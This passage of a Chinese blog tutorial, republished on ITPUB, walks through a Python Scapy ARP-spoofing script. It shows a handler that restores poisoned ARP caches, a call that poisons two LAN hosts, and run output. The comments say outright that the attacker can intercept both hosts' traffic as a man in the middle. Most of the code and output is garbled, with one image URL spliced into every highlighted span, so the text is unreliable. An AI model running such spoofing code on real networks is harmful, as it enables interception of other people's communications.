https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-function">https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">def https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-title">sigint_handlerhttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-params">(signum, frame):
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 申明全局变量
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"\n执行恢复操作!!!")
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 发送ARP数据包,恢复被毒化设备的ARP缓存
    sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
          iface=scapy_iface(local_ifname),
          verbose=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">False)
    print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"已经恢复 {} 的ARP缓存啦".format(dst_1_ip))
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 退出程序,跳出while True
    sys.exit()

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">if __name__ == https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"__main__":
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 欺骗192.168.1.101,让它认为192.168.1.102的MAC地址为本机攻击者的MAC
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#如果攻击者没有路由通信就会中断,如有路由就可以窃取双方通信的信息(所谓中间人)
    arp_spoof(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.1.101' , https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.1.102' , https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'ens35')

运行结果如下:

发送https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP欺骗数据包!欺骗192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 , 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.102的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址已经是我本机https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ens35的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址啦!!!
发送https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP欺骗数据包!欺骗192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 , 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.102的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址已经是我本机https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ens35的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址啦!!!
发送https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP欺骗数据包!欺骗192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 , 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.102的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址已经是我本机https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ens35的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址啦!!!
发送https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP欺骗数据包!欺骗192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 , 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.102的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址已经是我本机https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ens35的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址啦!!!
发送https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP欺骗数据包!欺骗192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 , 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.102的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址已经是我本机https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ens35的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址啦!!!
^https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">C
执行恢复操作!!!
已经恢复 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.101 的https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">ARP缓存啦

ARP高速缓存表被欺骗前后效果图:


**备注:**持续发送ARP响应包,设备收到最新的就会更新本地ARP缓存表,所以ARP安全性太低了。

附录**:

官方学习资源
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attribute">https:https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">//scapy.net/
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attribute">http:https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">//github.com/phaethon/kamene


作者:singvis

链接:https://juejin.im/post/5d8f22f151882502c553447b

来源:掘金


来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/75/viewspace-3137619/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2019-07-17

  • 博文量
    151
  • 访问量
    6023